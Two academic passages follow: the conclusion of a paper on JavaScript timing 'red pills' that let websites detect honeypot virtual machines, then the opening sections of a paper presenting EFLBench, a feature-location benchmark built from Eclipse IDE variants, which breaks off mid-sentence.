Kapavelos et al. [8] also studies evasion techniques that malware-geared honeypots face; however, the evasion techniques they examine rely on vulnerabilities in older browsers (e.g. IE 7), affect only a limited set of custom honeypots, or defer evasion to the malicious, native program that gets executed in the honeypot. Additionally, several papers study cloaking for blackhat-search engine optimization (SEO) [19], [7]; blackhat SEO is the process of presenting malicious/spam content to normal web users, but a tailored webpage to search engine crawlers that cause the website to earn a high search ranking. In these papers, blackhat-SEO techniques work primarily by simple user-agent cloaking (a malicious webpage checks if the visitor’s user-agent claims to be a search engine crawler). These techniques are easily defeated by honeypots that perform user-agent spoofing (and by browser extensions that modify a client’s user-agent to look like a search engine crawler); our browser red pills present a more fundamental challenge to honeypots that cannot be easily resolved by spoofing HTTP header information. Fingerprinting Browsers and Machines. Many papers have been written on how a website can fingerprint not only a visitor’s browser, but also the underlying device; these techniques can be used to track a user without the use of any cookies or consent from the user [12], [13]. [11]. In general, these fingerprints are constructed by probing the browser’s DOM and analyzing the behavior of the browser’s Javascript engine to extract details about the browser and the underlying system. While fingerprinting can be used to distinguish between a real user’s browser and a browser emulator, it is unclear how the fingerprints can be directly applied to distinguish a honeypot from a real user’s machine. Since honeypots often run a real browser to visit suspicious webpages, there is nothing fundamentally different between a honeypot’s browser configurations and a real user’s browser configurations. Even if there is a discernible difference between the configurations of a honeypot browser and all normal users’ browsers, an attacker would need to know a-priori what the honeypot fingerprint is in order to evade the honeypot; this a-priori knowledge would also be needed for every honeypot system among all anti-malware organizations and may need to be updated for every update/change to a honeypot’s browser or system. Given these challenges, we believe that browser fingerprinting does not offer an easy and fundamental way to evade honeypot analysis; however, browser fingerprints can be combined with our work to effectively evade honeypots. In particular, prior work on fingerprinting offers a litany of techniques that accurately identify both the browser and operating system of a website’s visitor. These are two pieces of information that our browser red pills need to effectively detect if a webpage is being loaded in a virtual machine. Thus, the work on browser and device fingerprinting and our work on browser red pills are complementary and address different threat models. 6 Conclusion Our work shows that despite limitations of the Javascript execution environment, browser red pills are possible. By leveraging the execution times of common Javascript operations, we construct a variety of red pills that work purely within the browser. This shows that malicious web sites can potentially hide browser exploits from honeypot detection. Our empirical evaluation shows that these red pills are effective regardless of the choice of browser on either of the two latest versions of Windows. Furthermore, even when a VM uses hardware-assisted virtualization, our red pills can successfully distinguish the VM from a normal machine. We outlined a few defenses that need to be further investigated in future work. Future work can also explore why certain red pills run faster in VMs and whether browser red pills are actively being used in-the-wild for honeypot evasion. Acknowledgments The work is supported by NSF and DARPA. Any opinions, findings and conclusions or recommendations expressed in this material are those of the author(s) and do not necessarily reflect the views of NSF and DARPA. References
{"Source-Url": "https://www.usenix.org/system/files/conference/woot14/woot14-ho.pdf", "len_cl100k_base": 10449, "olmocr-version": "0.1.50", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 36267, "total-output-tokens": 11808, "length": "2e13", "weborganizer": {"__label__adult": 0.00058746337890625, "__label__art_design": 0.0006947517395019531, "__label__crime_law": 0.00328826904296875, "__label__education_jobs": 0.0011377334594726562, "__label__entertainment": 0.0003018379211425781, "__label__fashion_beauty": 0.00024247169494628904, "__label__finance_business": 0.00037550926208496094, "__label__food_dining": 0.00036215782165527344, "__label__games": 0.0019969940185546875, "__label__hardware": 0.003709793090820313, "__label__health": 0.000637054443359375, "__label__history": 0.00054931640625, "__label__home_hobbies": 0.0001310110092163086, "__label__industrial": 0.0006151199340820312, "__label__literature": 0.0005702972412109375, "__label__politics": 0.0006585121154785156, "__label__religion": 0.0004804134368896485, "__label__science_tech": 0.275390625, "__label__social_life": 0.000164031982421875, "__label__software": 0.10784912109375, "__label__software_dev": 0.59912109375, "__label__sports_fitness": 0.00027561187744140625, "__label__transportation": 0.00045013427734375, "__label__travel": 0.00021922588348388672}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 52026, 0.02294]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 52026, 0.37076]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 52026, 0.88928]], "google_gemma-3-12b-it_contains_pii": [[0, 4224, false], [4224, 9184, null], [9184, 13979, null], [13979, 18652, null], [18652, 24192, null], [24192, 28918, null], [28918, 33397, null], [33397, 38887, null], [38887, 44273, null], [44273, 49390, null], [49390, 52026, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4224, true], [4224, 9184, null], [9184, 13979, null], [13979, 18652, null], [18652, 24192, null], [24192, 28918, null], [28918, 33397, null], [33397, 38887, null], [38887, 44273, null], [44273, 49390, null], [49390, 52026, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 52026, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 52026, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 52026, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 52026, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 52026, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 52026, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 52026, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 52026, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 52026, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 52026, null]], "pdf_page_numbers": [[0, 4224, 1], [4224, 9184, 2], [9184, 13979, 3], [13979, 18652, 4], [18652, 24192, 5], [24192, 28918, 6], [28918, 33397, 7], [33397, 38887, 8], [38887, 44273, 9], [44273, 49390, 10], [49390, 52026, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 52026, 0.07812]]}
olmocr_science_pdfs
2024-12-02
2024-12-02
7bf7970cb2e24472c077efced91690f15d4f1e35
Feature location benchmark for extractive software product line adoption research using realistic and synthetic Eclipse variants Jabier Martinez\textsuperscript{a,b,*}, Tewfik Ziadi\textsuperscript{b}, Mike Papadakis\textsuperscript{a}, Tegawendé F. Bissyandé\textsuperscript{a}, Jacques Klein\textsuperscript{a}, Yves le Traon\textsuperscript{a} \textsuperscript{a}SnT, University of Luxembourg, Luxembourg \textsuperscript{b}LiP6, Sorbonne Universités, UPMC University Paris 6, France Abstract It is common belief that high impact research in software reuse requires assessment in non-trivial, comparable, and reproducible settings. However, software artefacts and common representations are usually unavailable. Also, establishing a representative ground truth is a challenging and debatable subject. Feature location in the context of software families is a research field that is becoming more mature with a high proliferation of techniques. We present EFLBench, a benchmark and a framework to provide a common ground for this field. EFLBench leverages the efforts made by the Eclipse Community which provides feature-based family artefacts and their implementations. Eclipse is an active and non-trivial project and thus, it establishes an unbiased ground truth which is realistic and challenging. EFLBench is publicly available and supports all tasks for feature location techniques integration, benchmark construction and benchmark usage. We demonstrate its usage and its simplicity and reproducibility by comparing four techniques in Eclipse releases. As an extension of our previously published work, we also contribute an approach to automatically generate Eclipse variants to benchmark feature location techniques in tailored settings. We present and discuss three strategies for this automatic generation and we present the results using different settings. Keywords: Feature location, software families, Eclipse, benchmark, software product lines, static analysis, information retrieval 1. Introduction Feature location focuses on mapping features to their concrete implementation elements in the software artefacts. This activity is important during software maintenance for determining relevant elements for a modification task [1, In the context of this paper, instead of a single artefact, we consider a family of artefact variants where feature location is an essential activity of extractive processes towards systematic reuse [3], notably in leveraging a set of legacy variants for the adoption of a Software Product Line (SPL) [4, 5, 6]. An SPL is formally defined as “a set of software-intensive systems that share a common, managed set of features satisfying the specific needs of a particular market segment or mission, and that are developed from a common set of core assets in a prescribed way” [4]. Feature location is needed to identify the implementation elements that will be used to create the reusable assets of each feature. Given the increasing interest by the research community on this subject [7, 8], feature location benchmarks are required to enable an intensive experimentation of the techniques. This paper is an extension paper of our benchmark framework [9] which elaborate further on the need to empirically evaluate and compare the strengths and weakness of the techniques in different scenarios. However, comparing and experimenting with feature location techniques is challenging because of the following reasons: - **Most of the research prototypes are either unavailable or hard to configure.** There exists a lack of accessibility to the tools implementing each technique with its variants abstraction and feature location phases. - **Most of the tools are strongly dependent on specific artefact types** that they were designed for (e.g., a given type of model or programming language). - **Performance comparison requires common settings and environments.** There exist difficulties to reproduce the experimental settings to compare performance. Given that common case study subjects and frameworks are in need to foster the research activity [10], we identified two requirements for such frameworks in feature location: - **A standard case study subject:** Subjects that are non-trivial and easy to use are needed. This includes: 1) A list of existing features, 2) for each feature, a group of elements implementing it and 3) a set of product variants accompanied by the information of the included features. - **A benchmarking framework:** In addition to the standard subjects, a full implementation allowing a common, quick and intensive evaluation is needed. This includes: 1) An available implementation with a common abstraction for the product variants to be considered by the case studies, 2) easy and extensible mechanisms to integrate feature location techniques to support the experimentation, and 3) predefined evaluation metrics to draw comparable results. The contributions of this paper are: • We present the **Eclipse Feature Location Benchmark (EFLBench)** and examples of its usage. We propose a standard case study for feature location and a benchmark framework using Eclipse variants, their features and their associated plugins. We implemented EFLBench within the Bottom-Up Technologies for Reuse framework (BUT4Reuse) which allows a quick integration of feature location techniques [11]. By integrating a feature location technique in this generic and extensible framework, the technique could be applied in other artefact types beyond the experimentation with Eclipse variants within EFLBench. • We present the **automatic generation of Eclipse variants** as part of EFLBench capabilities to construct tailored benchmarks. This enables the evaluation of techniques in different scenarios to show their strengths and weaknesses. This is the significant increment from our previous work [9]. The new contribution extends the use of the benchmark beyond the official Eclipse releases providing three strategies to tailor the settings of the benchmark. We further present and discuss examples of their usage. EFLBench, BUT4Reuse and the used feature location techniques are available at [http://github.com/but4reuse/but4reuse/wiki/Benchmarks](http://github.com/but4reuse/but4reuse/wiki/Benchmarks). The rest of the paper is structured as follows: In Section 4 we present Eclipse as a case study subject and in Section 5 we present the EFLBench framework. Section 6 presents different feature location techniques and the results of EFLBench usage in the official Eclipse releases. Section 7 presents the strategies for automatic generation of Eclipse variants and examples of their usage. Finally, Section 9 concludes and presents future work. ### 2. Background on feature location in feature-based variants Features are the entities used to distinguish the variants of an SPL. In this context, a feature is defined as “a prominent or distinctive user-visible aspect, quality, or characteristic of a software system or systems” [12]. This definition is very general and open to interpretation so one recurrent challenge in implementing SPLs is deciding the granularity that the features will have at the implementation level [13]. Coarse granularity (e.g., components or plugins [14, 15, 16]) makes easier the maintenance of the SPL while fine granularity (e.g., source code classes or code fragments [17, 18]) might complicate the development and maintenance of the SPL. This way, there are very diverse scenarios regarding the granularity of the reusable assets in SPL. Depending on the granularity, feature location can focus on code fragments in the case of source code [19, 20, 21, 22], model fragments in the context of models [23] or software components in software architectures [15, 14, 16]. Therefore, existing techniques are composed of two phases: An **abstraction** phase, where the different artefact variants are abstracted, and the **location** phase where algorithms analyse or compare the different product variants to obtain the implementation elements associated to each feature. Despite these two phases, the existing works differ in: • The way the product variants are abstracted and represented. Indeed, each approach uses a specific formalism to represent product variants. For example, AST nodes for source code [20], model elements to represent model variants [7] or plugins in software architectures [15]. Some use fine granularity using AST nodes that cover all source code statements while others use purposely a bigger granularity using object-oriented building elements [22], like Salman et al. that only consider classes [24]. • The proposed algorithms. Each approach proposes its own algorithm to analyse product variants and identify the groups of elements that are related to features. Rubin et al. [7] and Wesley et al. [8] conducted surveys about the state-of-the-art in this domain. They showed the variety of techniques and application domains. For instance, Fischer et al. used a static analysis algorithm [20]. Other approaches use techniques from the field of Information Retrieval (IR). Xue et al. [25] and Salman et al. [26] proposed the use of Formal Concept Analysis (FCA) [27] to group implementation elements in blocks and then, in a second step, the IR technique Latent Semantic Indexing (LSI) [28] to map between these blocks and the features. Salman et al. used hierarchical clustering to perform this second step [24]. Figure 1 illustrates the feature location task in feature-based variants. In the upper half we illustrate the abstraction phase and in the lower half we illustrate the location phase. We present a set of variants (four circumferences in the figure) and their implementation elements (rhombuses). For each of the variants, we also have the information of which features are implemented. Feature location techniques in software families use to assume that feature presence or absence in the product variants is known upfront [20]. For example, Variant 1 implements F1, F2 and F3 while Variant 2 implements F1 and F3 as well but not F2. Despite that we know if a feature is implemented in a variant, we do not know the implementation elements associated to it. Therefore, the feature location algorithm takes the information of all the variants (features and implementation elements) and decide, for each feature, which are the associated implementation elements as shown at the bottom of Figure 1. Figure 1: Feature location in feature-based variants. 3. Related work **Benchmarks:** In SPL Engineering (SPLE), several benchmarks and common test subjects have been proposed. Lopez-Herrejon *et al.* proposed evaluating SPL technologies on a common SPL, a Graph Product Line [29], whose variability features are familiar to any computer engineer. The same authors proposed a benchmark for combinatorial interaction testing techniques for SPLs [30]. Also, automated FM analysis has a long history in SPLE research [31]. FAMA is a tool for feature model analysis that allows to include new reasoners and new reasoning operators [32]. Taking as input these reasoners, the BeTTy framework [33], built on top of FAMA, is able to benchmark the reasoners to highlight the advantages and shortcomings of different analysis approaches. Feature location on software families is also becoming more mature with a relevant proliferation of techniques [7, 8]. Therefore, benchmarking frameworks to support the evolution of this field are in need. Different case studies have been used for evaluating feature location in software families [8]. For instance, ArgoUML variants have been extensively used [17]. However, none of the presented case studies have been proposed as a benchmark except the variants of the Linux kernel by Xing *et al.* [18]. This benchmark considers twelve variants of the Linux kernel from which a ground truth is extracted with the traceability of more than two thousands features to code parts. The Linux kernel benchmark can be considered as complementary to advance feature location research because EFLBench a) maps to a project that is plugin-based, while Linux considers C code, and b) the characteristics of the natural language terminology is different from the Linux kernel terminology. This last point is important because techniques based on information retrieval techniques should be evaluated in different case studies. EFLBench is integrated with BUT4Reuse which is extensible for feature location techniques making easier to control and reproduce the settings of the studied techniques. **Feature location:** Liu *et al.* and Kästner *et al.* among others proposed to identify feature information from a single product [34, 35]. There are SPL adoption scenarios where the SPL wants to be extracted from a single product by separating its features. However, in this paper we concentrate on the case of several artefact variants. Feature location has been investigated in other software engineering fields such as in maintenance (e.g., determining relevant elements for a modification task [1, 2]). These techniques have been also used in extractive SPL adoption. Alves *et al.*, in a case study of commercial mobile game variants [36], instead of using static comparison techniques, located the implementation elements of the known features through concern graphs [2]. Kästner *et al.* proposed a semi-automatic approach for feature location in single systems where, as input, the domain expert manually needs to point the system to relevant fragments of an artefact with respect to a feature [35]. Then, the approach automatically expands this user selection using information about element dependencies. **Block identification as a previous step to locate features:** To distinguish features and their associated elements, researchers have proposed to analyse and compare artefact variants for the identification of their common and variable parts [37, 38, 21, 39, 20]. We refer to each of such distinguishable parts as a block. A block is a set of implementation elements of the artefact variants that are relevant for the targeted mining task. Examples of existing techniques to identify blocks are based on static analysis, dynamic analysis or information retrieval techniques [8]. Independently of the technique or artefact type, a block is an intermediary abstraction representing a candidate set of elements that might implement a feature. In the literature on feature location from artefact variants, we can find the same concept of blocks with different names. Rubin et al. call them parts, regions, or diff-sets alluding to the technique used to retrieve them [39]. Other example of generic names are modules by Méndez-Acuña et al. [40] or clusters by Yang et al. [37] and Araar et al. [41]. Other employed terminology is less generic and they specifically refers to the concrete artefact types that they are dealing with. Linshaber et al. [42] and Salman et al. [26] refer to blocks as potential feature-to-code mappings or traces. AL-rusie’ddeen et al. call them object-oriented building elements sets [38] and atomic blocks [43]. Each calculated block cannot be directly considered the implementation of a feature. In these approaches they propose heuristics or they consider that the final mapping is a manual process based on domain expertise. 4. The Eclipse family of integrated development environments The Eclipse community, with the support of the Eclipse Foundation, provides integrated development environments (IDEs) targeting different developer profiles. The IDEs cover the development needs of Java, C/C++, JavaEE, Scout, Domain-Specific Languages, Modeling, Rich Client Platforms, Remote Applications Platforms, Testing, Reporting, Parallel Applications or for Mobile Applications. Following Eclipse terminology, each of the customized Eclipse IDEs is called an Eclipse package. To avoid confusion with Java packages, we will refer to Eclipse packages as variants in the rest of the paper. As the Eclipse project evolves over time, new variants appear and some other ones disappear depending on the interest and needs of the community. For instance, in 2012, one variant for Automotive Software developers appeared and, recently, in 2016, another variant appeared for Android mobile applications development. The Eclipse Packaging Project (EPP) is the technical responsible for creating entry level downloads based on defined user profiles. Continuing with Eclipse terminology, a simultaneous release (release hereafter) is a set of variants which are public under the supervision of the Eclipse Foundation. Every year, there is one main release, in June, which is followed by two service releases for maintenance purposes: SR1 and SR2 usually around September and February. For each release, the platform version changes and traditionally celestial bodies are used to name the releases, for example Luna for version 4.4 and Mars for version 4.5. The variants present variation depending on the included and not-included features. For example, Eclipse variant for Testers is the only one including the Jubula Functional Testing features. On the contrary, other features like the Java Development tools are shared by most of the variants. There are also common features for all the variants, like the Equinox features that implement the core functionality of the Eclipse architecture. The online documentation of each release provides high-level information on the features that each variant provides. It is important to mention that in this work we are not interested in the variation among the releases (e.g., version 4.4 and 4.5, or version 4.4 SR1 and 4.4 SR2), known as variation in time. We focus on the variation of the different variants of a given release, known as variation in space, which is expressed in terms of included and not-included features. Each variant is different in order to support the needs of the targeted developer profile by including only the appropriate features. Eclipse is feature-oriented and based on plugins. Each feature consists of a set of plugins that are the actual implementation of the feature. Table 1 shows an example of feature with four plugins as implementation elements that, if included in an Eclipse variant, adds support for the Concurrent Versioning System (CVS). At technical level, the actual features of a variant can be found within a folder called features containing meta-information regarding the included features and the list of plugins associated to each. A feature has an id, a name and a description as defined by the feature providers of the Eclipse community. A plugin has an id and a name defined by the plugin providers, but it does not have a description. Table 1: Eclipse feature example. The Eclipse CVS Client feature and its associated plugins. <table> <thead> <tr> <th>Feature</th> <th>id: org.eclipse.cvs</th> </tr> </thead> <tbody> <tr> <td>name:</td> <td>Eclipse CVS Client</td> </tr> <tr> <td>description:</td> <td>Eclipse CVS Client (binary runtime and user documentation).</td> </tr> <tr> <td>Plugin id</td> <td>Plugin name</td> </tr> <tr> <td>org.eclipse.cvs</td> <td>Eclipse CVS Client</td> </tr> <tr> <td>org.eclipse.team.cvs.core</td> <td>CVS Team Provider Core</td> </tr> <tr> <td>org.eclipse.team.cvs.ssh2</td> <td>CVS SSH2</td> </tr> <tr> <td>org.eclipse.team.cvs.ui</td> <td>CVS Team Provider UI</td> </tr> </tbody> </table> Table 2 presents data regarding the evolution of the Eclipse releases over the years. In particular, it presents the total number of variants, features and plugins per release. To illustrate the distribution of variants and features, Figure 2 depicts a matrix of the different Eclipse Kepler SR2 variants where a black box denotes the presence of a feature (horizontal axis) in a variant (vertical axis). We observe that some features are present in all the variants while others are --- 1High-level comparison of Eclipse variants of the latest release: https://eclipse.org/downloads/compare.php Table 2: Eclipse releases and their number of variants, features and plugins. <table> <thead> <tr> <th>Year</th> <th>Release</th> <th>Variants</th> <th>Features</th> <th>Plugins</th> </tr> </thead> <tbody> <tr> <td>2008</td> <td>Europa Winter</td> <td>4</td> <td>91</td> <td>484</td> </tr> <tr> <td>2009</td> <td>Ganymede SR2</td> <td>7</td> <td>291</td> <td>1,290</td> </tr> <tr> <td>2010</td> <td>Galileo SR2</td> <td>10</td> <td>341</td> <td>1,658</td> </tr> <tr> <td>2011</td> <td>Helios SR2</td> <td>12</td> <td>320</td> <td>1,508</td> </tr> <tr> <td>2012</td> <td>Indigo SR2</td> <td>12</td> <td>347</td> <td>1,725</td> </tr> <tr> <td>2013</td> <td>Juno SR2</td> <td>13</td> <td>406</td> <td>2,008</td> </tr> <tr> <td>2014</td> <td>Kepler SR2</td> <td>12</td> <td>437</td> <td>2,043</td> </tr> <tr> <td>2015</td> <td>Luna SR2</td> <td>13</td> <td>533</td> <td>2,377</td> </tr> </tbody> </table> specific to only few variants. The 437 features are alphabetically ordered by their id. For instance, the feature **Eclipse CVS Client**, tagged in the figure, is present in all variants except in the **Automotive Software** variant. ![Figure 2: Eclipse Kepler SR2 variants and a mapping to their 437 features. For example, Eclipse CVS Client is present in all variants except in the automotive variant.](image) Features have dependencies among them: **Includes** is the Eclipse terminology to define subfeatures, and **Requires** means that there is a functional dependency. between the features. Figure 3 shows the dependencies between all the features of all variants in Eclipse Kepler SR2. We tagged some features and subfeatures of the Eclipse Modeling Framework to show cases of features that are strongly related. Functional dependencies are mainly motivated by the existence of dependencies between plugins of different features. In the Eclipse IDE family there is no excludes constraint between the features. Regarding plugin dependencies, they are explicitly declared in each plugin meta-data. Figure 4 shows a small excerpt of the dependency connections of the 2043 plugins of Eclipse Kepler SR2. Concretely, the excerpt shows the dependencies of the four CVS plugins presented in Table 1. 4.1. Reasons to consider Eclipse for benchmarking We present characteristics of Eclipse variants that make the case study interesting for a feature location benchmark: **Ground truth available:** The Eclipse case study fulfils the requirement, mentioned in Section 1, of providing the needed data to be used as ground truth. This ground truth can be extracted from features meta-information. Despite that the granularity of the implementation elements (plugins) is coarse if we compare it with source code AST nodes, the number of plugins is still reasonably high. In Eclipse Kepler SR2, the total amount of unique plugins is 2043 with an average of 609 plugins per Eclipse variant and a standard deviation of 192. **Challenging:** The relation between the number of available variants in the different Eclipse releases (around 12) and the number of different features (more than 500 in the latest release) is not balanced. This makes the Eclipse case study challenging for techniques based only in static comparison (e.g., interdependent elements or FCA) because they will probably identify few “big” blocks containing implementation elements belonging to a lot of features. The number of available product variants has been shown to be an important factor for feature location techniques [20]. **Friendly for information retrieval and dependency analysis:** Eclipse feature and plugin providers have created their own natural language vocabulary. The feature and plugin names (and the description in the case of the features) can be categorized as meaningful names [7] enabling the use of several IR techniques. Also, the dependencies between features and dependencies between implementation elements have been used in feature location techniques. For example, in source code, program dependence analysis has been used by exploiting program dependence graphs [44]. Acher et al. also leveraged architecture and plugin dependencies [15]. As presented in previous section, Eclipse also has dependencies between features and dependencies between plugins enabling their exploitation during feature location. **Noisy:** There are properties that can be considered as “noise” that are common in real scenarios. Some of them can be considered as non-conformities in feature specification [45]. A case study without “noise” should be considered as an optimistic case study. In Eclipse Kepler SR2, 8 plugins do not have a name, and different plugins from the same feature are named exactly the same. There are also 177 plugins associated to more than one feature. Thereby the features’ plugin sets are not completely disjoint. These plugins are mostly related to libraries for common functionalities which were not included as required plugins but as a part of the feature itself. In addition, 40 plugins present in some of the variants are not declared in any feature. Also, in few cases, feature versions are different among variants of the same release. **Friendly for customizable benchmark generation:** The fact that Eclipse releases contain few variants can be seen as a limitation for benchmarking in other desired scenarios with larger amount of variants. For example, it will be desired to show the relation between the results of the technique and the number of considered variants. Apart from the official releases, software engineering practitioners have created their own Eclipse variants. Therefore, researchers can use their own variants or create variants with specific characteristics. In addition, the plugin-based architecture of Eclipse allows to implement automatic generators of Eclipse variants as we present later in Section 7. **Similar experiences exist:** Analysing plugin-based or component-based software system families to leverage their variability has been shown in previous works [15, 14, 16]. For instance, experiences in an industrial case study were reported by Grünbacher et al. where they performed manual feature location in Eclipse variants to extract an SPL involving more than 20 Eclipse customizations per year [14]. ### 5. EFLBench: Eclipse Feature Location Benchmarking framework EFLBench is aimed to be used with any set of Eclipse variants including variants with features that are not part of any official release. Figure 5 illustrates, at the top, the phase for constructing the benchmark and, at the bottom part, the phase for using it. The following subsections provide more details on the two phases. In Section 2 we presented the principles for feature location in feature-based systems. EFLBench follows these assumptions for a feature location task and provide the following inputs for the feature location technique: The feature names and descriptions • For each feature, the list of variants where it was included • The dependencies between features • The plugin names • The dependencies between plugins 5.1. Benchmark construction The benchmark construction phase takes as input the Eclipse variants and automatically produce two outputs, 1) a Feature list with information about each feature name, description and the list of variants where it was present, and 2) a ground truth with the mapping between the features and the implementation elements which are the plugins. We implemented an automatic extractor of features information. The information is available in the file feature.xml of each feature so it was easy to automatically get the metadata (name, description, dependencies etc.) corresponding to all features. The implementation elements of a feature are those plugins that are directly associated to this feature. From the 437 features of the Eclipse Kepler SR2, each one has an average of 5.23 plugins associated with, and a standard deviation of 9.67 plugins. There is one outlier with 119 plugins which is the feature *BIRT Framework* included in the Reporting variant. From the 437 features, there are 19 features that do not contain any plugin, so they are considered abstract features which are created just for grouping other features. For example, the abstract feature *UML2 Extender SDK* (Software Development Kit) includes the features *UML2 End User Features, Source for UML2 End User Features, UML2 Documentation* and *UML2 Examples*. Reproducibility can become easier by using benchmarks and common frameworks that launch and compare different techniques [10]. This practice, allows a valid performance comparison with all the implemented and future techniques. We integrated EFLBench and its automatic extractor in BUT4Reuse. 5.2. Benchmark usage Once the benchmark is constructed, at the bottom of Figure 5 we illustrate how it can be used through BUT4Reuse where feature location techniques can be integrated. The Eclipse adapter [11] is responsible for the variant abstraction phase. During the product abstraction phase, the implemented Eclipse abstraction decomposes any Eclipse installation in a set of plugins by visiting and analysing the Eclipse variant file structure. The plugin elements contain information about their id, name as well as their dependency to other plugin elements. This will be followed by the launch of the targeted feature location techniques which takes as input the feature list and the Eclipse variants (excluding the features folder). The feature location technique produces a mapping between features and plugins that can be evaluated against the ground truth obtained in the benchmark construction phase. Concretely, EFLBench calculates the precision and recall which are classical evaluation metrics in IR studies (e.g., [24]). We explain precision and recall, two metrics that complement each other, in the context of EFLBench. A feature location technique assigns a set of plugins to each feature. In this set, there can be some plugins that are actually correct according to the ground truth. Those are true positives (TP). TPs are also referred to as hit. On the set of plugins retrieved by the feature location technique for each feature, there can be other plugins which do not belong to the feature. Those are false positives (FP) which are also referred to as false alarms. Precision is the percentage of correctly retrieved plugins relative to the total of retrieved plugins by the feature location technique. A precision of 100% means that all retrieved plugins are contained in the ground truth set and that no false alarm plugins were included. The formula of precision is shown in Equation 1. \[ \text{precision} = \frac{TP}{TP + FP} = \frac{\text{plugins hit}}{\text{plugins hit} + \text{plugins false alarm}} \tag{1} \] According to the ground truth there can be some plugins that are not included in the retrieved set, meaning that they are miss. Those plugins are false negatives (FN). Recall is the percentage of correctly retrieved plugins from the set of the ground truth. A recall of 100% means that all the plugins of the ground truth were assigned to the feature. The formula of recall is shown in Equation 2. \[ \text{recall} = \frac{TP}{TP + FN} = \frac{\text{plugins hit}}{\text{plugins hit} + \text{plugins miss}} \tag{2} \] Precision and recall are calculated for each feature. In order to have a global result of the precision and recall we use the mean of all the features. Finally, BUT4Reuse reports the time spent for the feature location technique. With this information, the time performance of different techniques can be compared. 6. Examples of EFLBench usage in Eclipse releases This section aims at presenting the possibilities of EFLBench by benchmarking four feature location techniques in official Eclipse releases. For the four techniques we use Formal Concept Analysis (FCA) [27] as a first step for block identification and the four feature location techniques are Strict Feature Specific (SFS), SFS+ST, SFS+TF, SFS+TFIDF which we detail in next subsection before presenting the results. 6.1. Background on techniques used in the examples **FCA** [27] uses a *formal context* as input and groups elements that share common attributes. The entities of the formal context are the variants, and the attributes (binary attributes) are the presence or absence of each of the elements in each variant. With this input, FCA discovers a set of *concepts* and the concepts containing at least one element are considered as a block for the feature location task. Figure 6 illustrates FCA. The identified blocks correspond to the different intersections from the input artefact variants. A detailed explanation about FCA formalism in the same context of extractive SPL adoption can be found in Al-Msie’deen *et al.* [22] and Shatnawi *et al.* [16]. At technical level, we implemented FCA for block identification using Galatea. ![Formal Concept Analysis Diagram](https://example.com/fca-diagram) **SFS** is a feature location technique that follows two assumptions: A feature is located in a block when 1) the block *always* appears in the artefacts that implements this feature and 2) the block *never* appears in any artefact that does not implement this feature. The principles of this feature location technique are similar to locating distinguishing features using diff sets [19]. **Natural Language Processing (NLP) techniques:** In SFS+ST, SFS+TF, SFS+TFIDF, where we use IR and NLP, we do not make use of the feature or plugin ids. In order to extract the meaningful words from both features (name and description) and elements (plugin names), we used two well established techniques in the IR field. --- 2Galatea Formal Concept Analysis library: [https://github.com/jrfaller/galatea](https://github.com/jrfaller/galatea) • Parts-of-speech tags remover: These techniques analyse and tag words depending on their role in the text. The objective is to filter and keep only the potentially relevant words. For example, conjunctions (e.g., “and”), articles (e.g., “the”) or prepositions (e.g., “in”) are frequent and may not add relevant information. As an example, we consider the following feature name and description: “Eclipse Scout Project. Eclipse Scout is a business application framework that supports desktop, web and mobile frontends. This feature contains the Scout core runtime components.”. We apply Part-of-Speech Tagger techniques using OpenNLP [46]. • Stemming: This technique reduces the words to their root. The objective is to unify words not to consider them as unrelated. For instance, “playing” will be considered as stemming from “play” and “tools” from “tool”. Instead of keeping the root, we keep the word with greater number of occurrences to replace the involved words. As example, in the Graphiti feature name and description we find “[...]Graphiti supports the fast and easy creation of unified graphical tools, which can graphically display[...]” so graphical and graphically is considered the same word as their shared stem is graphic. Regarding the implementation, we used the Snowball stemmer [47]. SFS and Shared term: The intuition behind this technique is first to group features and blocks with SFS and then apply a “search” of the feature’s words within the elements of the block to discard elements that may be completely unrelated to the feature. For each association between feature and block, we keep, for this feature, only the elements of the block that have at least one meaningful word shared with the feature. That means that we keep the elements whose term frequency (tf) between feature and element (featureElementTF) is greater than zero. For clarification, featureElementTF is defined in Equation 3 being \( f \) the feature, \( e \) the element and \( tf \) a method that just counts the number of times a given term appears in a given list of terms. \[ featureElementTF(f, e) = \sum_{term_i \in e.terms} tf(term_i, f.terms) \] (3) Figure 7 illustrates, on the left side, how for a given feature, we have associated words and how, from a block obtained with SFS, we discard elements that do not share any word with the feature. SFS and Term frequency: After employing SFS, this technique is based on the idea that all the features assigned to a block compete for the block elements. The feature (or features in case of drawback) with higher featureElementTF will keep the elements while the other features will not consider this element as part of it. Figure 7 illustrates this technique in the center of the figure. Three features compete for the elements of a block obtained with SFS, and the assignation is made by calculating the tf between each element and the features. That means that, for each element, the feature with higher tf with respect to the element will be the only feature that is mapped to this element. SFS and tf-idf: Figure 7, on the right side, illustrates this technique. SFS is applied and then the features also compete, in this case, for the elements of the block but a different weight is used for each word of the feature. This weight (or score) is calculated through the term frequency - inverse document frequency (tf-idf) value of the set of features that are competing. tf-idf is a well known technique in IR [48]. tf is a metric consisting in giving more relevance to the terms appearing with more frequency in a document d. When dealing with a set $D$ of documents $d_1, ..., d_n$, term frequency-inverse document frequency (tf-idf) is another metric used in IR [48]. For a document $d$, tf-idf penalizes common terms that appear across most of the documents in $D$ and emphasizes those terms that are more specific to $d$. There are different formulas to calculate them. In this work, we used the formulas presented in 